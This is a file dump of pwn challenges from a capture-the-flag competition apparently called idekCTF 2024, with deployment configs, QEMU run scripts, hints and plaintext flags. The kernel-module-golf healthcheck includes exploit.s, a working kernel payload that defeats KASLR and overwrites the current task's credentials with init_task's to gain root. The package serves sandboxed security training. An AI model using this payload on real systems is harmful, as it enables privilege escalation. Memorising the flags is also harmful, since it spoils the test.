heap exploitation!!! 7 | 8 | NOTE: the intended solution requires no more than 8 bits of brute force. 9 | HINT: what useful fields can you reach in `main_arena` without brute force? -------------------------------------------------------------------------------- /pwn/dead-pwners-society/attachments/.gitattributes: -------------------------------------------------------------------------------- 1 | root.img filter=lfs diff=lfs merge=lfs -text 2 | dead-pwners-society.tar.gz filter=lfs diff=lfs merge=lfs -text 3 | -------------------------------------------------------------------------------- /pwn/dead-pwners-society/attachments/dead-pwners-society.tar.gz: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:5eadc8989dd46982836b3c064c467ba76abb13a587e54081332928fec79c86bd 3 | size 203549594 4 | -------------------------------------------------------------------------------- /pwn/dead-pwners-society/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: dead-pwners-society 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 20 8 | network: 9 | public: true 10 | healthcheck: 11 | # TIP: disable the healthcheck during development 12 | enabled: false 13 | image: us.gcr.io/idekctf-374221/dead-pwners-society-healthcheck:b45e1bf2ef2214ad8de2044d24973a52a017805addc9489dd9121a20970809c2 14 | image: us.gcr.io/idekctf-374221/dead-pwners-society-challenge:8260c8d599b0f695f6d9397e16a60f87e71c62949b8a5779085d5f898ab0f7ab 15 | -------------------------------------------------------------------------------- /pwn/dead-pwners-society/challenge/.gitattributes: -------------------------------------------------------------------------------- 1 | root.img filter=lfs diff=lfs merge=lfs -text 2 | -------------------------------------------------------------------------------- /pwn/dead-pwners-society/challenge/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/dead-pwners-society/challenge/bzImage -------------------------------------------------------------------------------- /pwn/dead-pwners-society/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | idek{CF1_4iN7_tH47_1NvInC1B13_4fT37_A1L_H3h} 2 | -------------------------------------------------------------------------------- /pwn/dead-pwners-society/challenge/kctf-pow: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/dead-pwners-society/challenge/kctf-pow -------------------------------------------------------------------------------- /pwn/dead-pwners-society/challenge/pow_run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "=== Solve a POW before accessing the challenge ===" 4 | echo "POW solver can be obtained here: https://github.com/Aplet123/kctf-pow" 5 | echo "Solve using: kctf-pow solve " 6 | 7 | ./kctf-pow ask 60000 8 | 9 | if [ $? -eq 0 ] 10 | then 11 | ./run.sh 12 | fi 13 | -------------------------------------------------------------------------------- /pwn/dead-pwners-society/challenge/root.img: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:c2d3fbe36146da5d81bfb216203a00d4094a435136b268487cb17df4c4f8b9fe 3 | size 2147483648 4 | -------------------------------------------------------------------------------- /pwn/dead-pwners-society/challenge/run.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import urllib.request 4 | import subprocess 5 | import os 6 | import uuid 7 | fname = str(uuid.uuid4()) 8 | 9 | # Asking user for an exploit executable to load inside the qemu instance. 10 | url = input("Give me the URL to your exploit (press enter to skip): ") 11 | if url == "": 12 | path = "" 13 | else: 14 | path = f"/tmp/{fname}" 15 | 16 | # Downloading the user's exploit executable. 17 | try: 18 | with urllib.request.urlopen(url) as f: 19 | exploit = f.read() 20 | except Exception: 21 | print("Some error occurred while downloading your exploit executable. Try again or contact support :(\n") 22 | exit(-1) 23 | else: 24 | # Saving the user's exploit executable to a tmp disk file. 25 | with open(path, "wb") as f: 26 | f.write(exploit) 27 | 28 | try: 29 | subprocess.run(["/home/user/run.sh", path]) 30 | except Exception: 31 | print("Some error occurred while running qemu. Try again or contact support :(\n") 32 | 33 | if path != "": 34 | os.unlink(path) 35 | # make sure, all cleaned up :thumbsup: 36 | os.system("pkill qemu") 37 | os.system("rm /tmp/tmp.*") -------------------------------------------------------------------------------- /pwn/dead-pwners-society/challenge/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | IMG=$(mktemp) 4 | FLAG=$(mktemp) 5 | 6 | cp /home/user/root.img $IMG && \ 7 | cp /home/user/flag.txt $FLAG && \ 8 | qemu-system-x86_64 \ 9 | -kernel /home/user/bzImage \ 10 | -cpu qemu64,+smep,+smap \ 11 | -m 2G \ 12 | -smp 2 \ 13 | -drive file="$IMG",if=ide \ 14 | -append "console=ttyS0 root=/dev/sda quiet loglevel=3 kaslr kpti=1" \ 15 | -hdb "$FLAG" \ 16 | -drive file="$1",format=raw \ 17 | -monitor /dev/null \ 18 | -nographic \ 19 | -no-reboot 20 | 21 | rm -rf $IMG 22 | rm -rf $FLAG 23 | -------------------------------------------------------------------------------- /pwn/dead-pwners-society/challenge/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | service cron start 4 | -------------------------------------------------------------------------------- /pwn/dead-pwners-society/challenge/ynetd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/dead-pwners-society/challenge/ynetd -------------------------------------------------------------------------------- /pwn/dead-pwners-society/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:6709709a8cfd6e2d743c86d58398c00ca4eb26befd3b1a0a629ab35f91e98ef0 15 | 16 | COPY exploit.tar.gz healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py -------------------------------------------------------------------------------- /pwn/dead-pwners-society/healthcheck/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/dead-pwners-society/healthcheck/bzImage -------------------------------------------------------------------------------- /pwn/dead-pwners-society/healthcheck/exploit.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/dead-pwners-society/healthcheck/exploit.tar.gz -------------------------------------------------------------------------------- /pwn/dead-pwners-society/healthcheck/flag.txt: -------------------------------------------------------------------------------- 1 | idek{CF1_4iN7_tH47_1NvInC1B13_4fT37_A1L_H3h} 2 | -------------------------------------------------------------------------------- /pwn/dead-pwners-society/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=180 18 | PERIOD=60 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /pwn/dead-pwners-society/meta.yaml: -------------------------------------------------------------------------------- 1 | name: Dead Pwners Society 2 | author: Kaligula, Shunt 3 | public: true 4 | attachments: 5 | - dead-pwners-society.tar.gz 6 | flag: idek{CF1_4iN7_tH47_1NvInC1B13_4fT37_A1L_H3h} 7 | description: |- 8 | What secrets will you find in this library? 9 | User creds are reader:reader 10 | 11 | 12 | The flag is in /dev/sdb 13 | 14 | 15 | Hint: The note for a book is missing, could it be a problem? -------------------------------------------------------------------------------- /pwn/kernel-module-golf/.gitignore: -------------------------------------------------------------------------------- 1 | healthcheck/rootfs/ 2 | challenge/rootfs/ 3 | attachments/module/*.cmd 4 | attachments/module/*.json 5 | attachments/module/*.mod* 6 | attachments/module/*.o 7 | attachments/module/*.order 8 | attachments/module/*.symvers 9 | attachments/module/.clang-format 10 | attachments/linux -------------------------------------------------------------------------------- /pwn/kernel-module-golf/attachments/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/kernel-module-golf/attachments/bzImage -------------------------------------------------------------------------------- /pwn/kernel-module-golf/attachments/initramfs.cpio.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/kernel-module-golf/attachments/initramfs.cpio.gz -------------------------------------------------------------------------------- /pwn/kernel-module-golf/attachments/module/Makefile: -------------------------------------------------------------------------------- 1 | LINUX := $(CURDIR)/../linux 2 | 3 | obj-m += load.o 4 | 5 | all: 6 | make -C $(LINUX) M=$(CURDIR) modules 7 | 8 | clean: 9 | make -C $(LINUX) M=$(CURDIR) clean -------------------------------------------------------------------------------- /pwn/kernel-module-golf/attachments/module/load.ko: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/kernel-module-golf/attachments/module/load.ko -------------------------------------------------------------------------------- /pwn/kernel-module-golf/attachments/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | file="$1" 4 | args="" 5 | if [ -z "$1" ]; then 6 | file="./exploit" 7 | args="-s" 8 | fi 9 | 10 | qemu-system-x86_64 \ 11 | -m 64m \ 12 | -cpu qemu64,+smep,+smap \ 13 | -kernel ./bzImage \ 14 | -initrd initramfs.cpio.gz \ 15 | -nographic \ 16 | -monitor /dev/null \ 17 | -no-reboot \ 18 | -append "init=/init console=ttyS0 loglevel=0 oops=panic panic=-1" \ 19 | -drive file="$file",format=raw \ 20 | $args \ -------------------------------------------------------------------------------- /pwn/kernel-module-golf/attachments/upload.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import tempfile 3 | import os 4 | 5 | exploit = base64.b64decode(input("input your exploit (base64): ")) 6 | 7 | assert len(exploit) < 64 * 1024 8 | 9 | with tempfile.NamedTemporaryFile() as fp: 10 | fp.write(exploit) 11 | fp.flush() 12 | 13 | os.system(f"./run.sh {fp.name}") -------------------------------------------------------------------------------- /pwn/kernel-module-golf/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: kernel-module-golf 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | # TIP: disable the healthcheck during development 12 | enabled: true 13 | image: us.gcr.io/idekctf-374221/kernel-module-golf-healthcheck:d2c2a88776ca170bc53f6f1318475fd80dd03734f2a40cbe1292bf412ed3292a 14 | image: us.gcr.io/idekctf-374221/kernel-module-golf-challenge:1b5df67c648b09ebc9cf5d33bf35a4650457a6136165f3baee9c5325ac13ac86 15 | -------------------------------------------------------------------------------- /pwn/kernel-module-golf/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/challenge@sha256:0f7d757bcda470c3bbc063606335b915e03795d72ba1d8fdb6f0f9ff3757364f 15 | 16 | ENV DEBIAN_FRONTEND=noninteractive 17 | 18 | RUN apt-get update && apt-get install -y qemu-system-x86 && rm -rf /var/lib/apt/lists/* 19 | 20 | COPY run.sh /home/user/ 21 | COPY upload.py /home/user/ 22 | COPY bzImage /home/user/ 23 | COPY initramfs.cpio.gz /home/user/ 24 | 25 | 26 | CMD mount -t tmpfs none /tmp && \ 27 | kctf_setup && \ 28 | kctf_drop_privs \ 29 | socat \ 30 | TCP-LISTEN:1337,reuseaddr,fork \ 31 | EXEC:"kctf_pow /home/user/upload.py" 32 | -------------------------------------------------------------------------------- /pwn/kernel-module-golf/challenge/addflag.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | ./decompress.sh 4 | rm -f rootfs/root/flag.txt 5 | cp flag.txt rootfs/root/flag.txt 6 | chmod 400 rootfs/root/flag.txt 7 | ./compress.sh -------------------------------------------------------------------------------- /pwn/kernel-module-golf/challenge/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/kernel-module-golf/challenge/bzImage -------------------------------------------------------------------------------- /pwn/kernel-module-golf/challenge/compress.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | cd rootfs 4 | find . -print0 | cpio --null -o --format=newc --owner=root | gzip -9 > ../initramfs.cpio.gz -------------------------------------------------------------------------------- /pwn/kernel-module-golf/challenge/decompress.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | mkdir -p rootfs 4 | cd rootfs 5 | cp ../initramfs.cpio.gz . 6 | gzip -d initramfs.cpio.gz 7 | cpio -idm < ./initramfs.cpio 8 | rm initramfs.cpio -------------------------------------------------------------------------------- /pwn/kernel-module-golf/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | idek{kernel_module_golf_is_fun} -------------------------------------------------------------------------------- /pwn/kernel-module-golf/challenge/initramfs.cpio.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/kernel-module-golf/challenge/initramfs.cpio.gz -------------------------------------------------------------------------------- /pwn/kernel-module-golf/challenge/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | file="$1" 4 | args="" 5 | if [ -z "$1" ]; then 6 | file="./exploit" 7 | args="-s" 8 | fi 9 | 10 | qemu-system-x86_64 \ 11 | -m 64m \ 12 | -cpu qemu64,+smep,+smap \ 13 | -kernel /home/user/bzImage \ 14 | -initrd /home/user/initramfs.cpio.gz \ 15 | -nographic \ 16 | -monitor /dev/null \ 17 | -no-reboot \ 18 | -append "init=/init console=ttyS0 loglevel=0 oops=panic panic=-1" \ 19 | -drive file="$file",format=raw \ 20 | $args -------------------------------------------------------------------------------- /pwn/kernel-module-golf/challenge/upload.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import base64 3 | import tempfile 4 | import os 5 | 6 | exploit = base64.b64decode(input("input your exploit (base64): ")) 7 | 8 | assert len(exploit) < 64 * 1024 9 | 10 | with tempfile.NamedTemporaryFile() as fp: 11 | fp.write(exploit) 12 | fp.flush() 13 | 14 | os.system(f"/home/user/run.sh {fp.name}") -------------------------------------------------------------------------------- /pwn/kernel-module-golf/fixup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | set -e 4 | 5 | LINUX="$HOME/ctf/development/idekctf-24/golf/linux" 6 | BZIMAGE="$LINUX/arch/x86/boot/bzImage" 7 | 8 | rm attachments/{bzImage,initramfs.cpio.gz} || true 9 | rm challenge/{bzImage,initramfs.cpio.gz} || true 10 | 11 | cp "$BZIMAGE" attachments/bzImage 12 | cp "$BZIMAGE" challenge/bzImage 13 | cp "$BZIMAGE" healthcheck/bzImage 14 | 15 | cd challenge \ 16 | && rm -f rootfs/root/flag.txt \ 17 | && cp ../attachments/module/load.ko rootfs/ \ 18 | && ./compress.sh \ 19 | && cp initramfs.cpio.gz ../attachments \ 20 | && cd - 21 | 22 | cd challenge \ 23 | && ./addflag.sh \ 24 | && cd - -------------------------------------------------------------------------------- /pwn/kernel-module-golf/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:6709709a8cfd6e2d743c86d58398c00ca4eb26befd3b1a0a629ab35f91e98ef0 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py exploit /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 19 | -------------------------------------------------------------------------------- /pwn/kernel-module-golf/healthcheck/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | zig cc exploit.c exploit.s -static -o exploit -target x86_64-linux-musl -Os 3 | strip exploit -------------------------------------------------------------------------------- /pwn/kernel-module-golf/healthcheck/bzImage: -------------------------------------------------------------------------------- 1 | ../challenge/bzImage -------------------------------------------------------------------------------- /pwn/kernel-module-golf/healthcheck/exploit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/kernel-module-golf/healthcheck/exploit -------------------------------------------------------------------------------- /pwn/kernel-module-golf/healthcheck/exploit.s: -------------------------------------------------------------------------------- 1 | .intel_syntax noprefix 2 | .global userland 3 | .global userland_end 4 | 5 | .equ MSR_LSTAR, 0xc0000082 6 | .equ KASLR_LSTAR, 0x1000000 7 | .equ INIT_TASK, 0x1a0c900 8 | .equ TASK_CRED, 0x6e0 9 | .equ TASK_REAL_CRED, 0x6e8 10 | .equ STRUCT_CRED_USAGE, 0 11 | .equ PERCPU_CURRENT, 0x30a00 12 | 13 | userland: 14 | .fill 0xbc0, 1, 0x90 15 | 16 | push rdi 17 | push rsi 18 | push rcx 19 | push rax 20 | push rdx 21 | 22 | mov ecx, MSR_LSTAR 23 | rdmsr 24 | shl rdx, 32 25 | or rdx, rax 26 | sub rdx, KASLR_LSTAR 27 | mov rsi, rdx 28 | 29 | mov rcx, qword ptr [rsi + INIT_TASK + TASK_CRED] 30 | add qword ptr [rcx + STRUCT_CRED_USAGE], 2 31 | 32 | mov rdi, qword ptr gs:[PERCPU_CURRENT] 33 | mov qword ptr [rdi + TASK_CRED], rcx 34 | mov qword ptr [rdi + TASK_REAL_CRED], rcx 35 | 36 | pop rdx 37 | pop rax 38 | pop rcx 39 | pop rsi 40 | pop rdi 41 | ret 42 | userland_end: -------------------------------------------------------------------------------- /pwn/kernel-module-golf/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=60 18 | PERIOD=120 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /pwn/kernel-module-golf/healthcheck/hi.ko: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/kernel-module-golf/healthcheck/hi.ko -------------------------------------------------------------------------------- /pwn/kernel-module-golf/healthcheck/initramfs.cpio.gz: -------------------------------------------------------------------------------- 1 | ../challenge/initramfs.cpio.gz -------------------------------------------------------------------------------- /pwn/kernel-module-golf/healthcheck/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | file="$1" 4 | args="" 5 | if [ -z "$1" ]; then 6 | file="./exploit" 7 | args="-s" 8 | fi 9 | 10 | qemu-system-x86_64 \ 11 | -m 64m \ 12 | -cpu qemu64,+smep,+smap \ 13 | -kernel ./bzImage \ 14 | -initrd ./initramfs.cpio.gz \ 15 | -nographic \ 16 | -monitor /dev/null \ 17 | -no-reboot \ 18 | -append "init=/init console=ttyS0 loglevel=0 oops=panic panic=-1" \ 19 | -drive file="$file",format=raw \ 20 | $args -------------------------------------------------------------------------------- /pwn/kernel-module-golf/healthcheck/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import base64 3 | 4 | exploit = open("exploit", "rb").read() 5 | 6 | p = process("python3 ../challenge/upload.py", shell=True, cwd="../challenge") 7 | p.sendlineafter(b": ", base64.b64encode(exploit)) 8 | 9 | p.interactive() -------------------------------------------------------------------------------- /pwn/kernel-module-golf/meta.yaml: -------------------------------------------------------------------------------- 1 | name: kernel module golf 2 | author: unvariant 3 | public: true 4 | flag: idek{kernel_module_golf_is_fun} 5 | description: |- 6 | kernel + elf golfing. 7 | 8 | [https://tmpout.sh/3/19.html](https://tmpout.sh/3/19.html) 9 | 10 | 11 | Note: There's a $50 USD author bounty on this challenge first blood. 12 | 13 | HINT: You should look more closely at kernel relocations, and it is possible to make a kernel module in 345 bytes. 14 | -------------------------------------------------------------------------------- /pwn/lazy-gambler-pwner/README.md: -------------------------------------------------------------------------------- 1 | # Busy ~~Gambler~~ Pwner 2 | **Category:** Pwn 3 | **Difficulty:** Medium 4 | **Author:** Zerotistic 5 | 6 | ## Description 7 | 8 | So huh I spent the whole month gambling... And haven't done a single work!! I have a few binaries I really need to exploit, please help me !! :( 9 | *Note: please check `template.py` as it contains useful information* -------------------------------------------------------------------------------- /pwn/lazy-gambler-pwner/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: lazy-gambler-pwner 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | # TIP: disable the healthcheck during development 12 | enabled: true 13 | image: us.gcr.io/idekctf-374221/lazy-gambler-pwner-healthcheck:bf6da740d1e2b1b5760639143e9c4ecf7b210c354562fc64f61b8aa120207de9 14 | image: us.gcr.io/idekctf-374221/lazy-gambler-pwner-challenge:b149fb15993f26158092892ab5974aa1231a0353c198ab9f3e0641293533dbf3 15 | -------------------------------------------------------------------------------- /pwn/lazy-gambler-pwner/challenge/auto_chall.py: -------------------------------------------------------------------------------- 1 | from auto_codegen import CGen 2 | from auto_compile import CCompiler 3 | 4 | 5 | import tempfile 6 | import os 7 | 8 | 9 | def generate(filename: str): 10 | c_code_generator = CGen() 11 | c_code = repr(c_code_generator) 12 | secret = c_code_generator.get_secret() 13 | secret_path = c_code_generator.get_tempdir() 14 | 15 | tempdir = tempfile.TemporaryDirectory() 16 | c_source_path = os.path.join(tempdir.name, f"{filename}.c") 17 | 18 | with open(c_source_path, "w") as c_file: 19 | c_file.write(c_code) 20 | 21 | output_bin_path = os.path.join(tempdir.name, f"{filename}.bin") 22 | 23 | compiler = CCompiler(source_file=c_source_path, output_file=output_bin_path) 24 | compilation_success = compiler.compile_c_code() 25 | 26 | # This is so ugly I want to die 27 | if compilation_success: 28 | return True, secret, output_bin_path, tempdir, secret_path 29 | return False, None, None, None, None 30 | 31 | 32 | 33 | if __name__ == "__main__": 34 | generate() 35 | -------------------------------------------------------------------------------- /pwn/lazy-gambler-pwner/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:6709709a8cfd6e2d743c86d58398c00ca4eb26befd3b1a0a629ab35f91e98ef0 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py -------------------------------------------------------------------------------- /pwn/lazy-gambler-pwner/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=30 18 | PERIOD=20 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done -------------------------------------------------------------------------------- /pwn/lazy-gambler-pwner/meta.yaml: -------------------------------------------------------------------------------- 1 | name: Busy ~~Gambler~~ Pwner 2 | author: Zerotistic 3 | public: true 4 | flag: idek{automation_is_fun_but_it_could_be_funnier_by_being_harder} 5 | description: |- 6 | So huh I spent the whole month gambling... And haven't done a single work!! I have a few binaries I really need to exploit, please help me !! :( 7 | *Note: please check `template.py` as it contains useful information* -------------------------------------------------------------------------------- /pwn/write-me/README.md: -------------------------------------------------------------------------------- 1 | # Write me 2 | **Category:** pwn 3 | 4 | **Difficulty:** medium 5 | 6 | **Author:** JoshL 7 | 8 | ## Description 9 | We all know the format string %n writes to data memory. Cool! Now do that 16 times. Without control of the arguments. In a single printf call??? wtf? -------------------------------------------------------------------------------- /pwn/write-me/attachments/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04@sha256:ed4a42283d9943135ed87d4ee34e542f7f5ad9ecf2f244870e23122f703f91c2 2 | 3 | RUN apt update && apt install -y socat 4 | 5 | RUN /usr/sbin/useradd --no-create-home -u 1000 user 6 | 7 | COPY flag.txt / 8 | COPY write_me /home/user/chal 9 | 10 | CMD ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:\"/home/user/chal\""] 11 | -------------------------------------------------------------------------------- /pwn/write-me/attachments/flag.txt: -------------------------------------------------------------------------------- 1 | idek{placeholder} -------------------------------------------------------------------------------- /pwn/write-me/attachments/ld-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/write-me/attachments/ld-2.31.so -------------------------------------------------------------------------------- /pwn/write-me/attachments/libc-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/write-me/attachments/libc-2.31.so -------------------------------------------------------------------------------- /pwn/write-me/attachments/write_me: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/write-me/attachments/write_me -------------------------------------------------------------------------------- /pwn/write-me/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: write-me 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | # TIP: disable the healthcheck during development 12 | enabled: true 13 | image: us.gcr.io/idekctf-374221/write-me-healthcheck:837c215cf9dd7abf3b86720f8793fe2b0ab6ac08de181fb3aa4ba5ecb006bb4a 14 | image: us.gcr.io/idekctf-374221/write-me-challenge:92653d4a91d29312db5cb7de1dfbbbf2a6d87ad99c26d654ed283eb001121fc4 15 | -------------------------------------------------------------------------------- /pwn/write-me/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 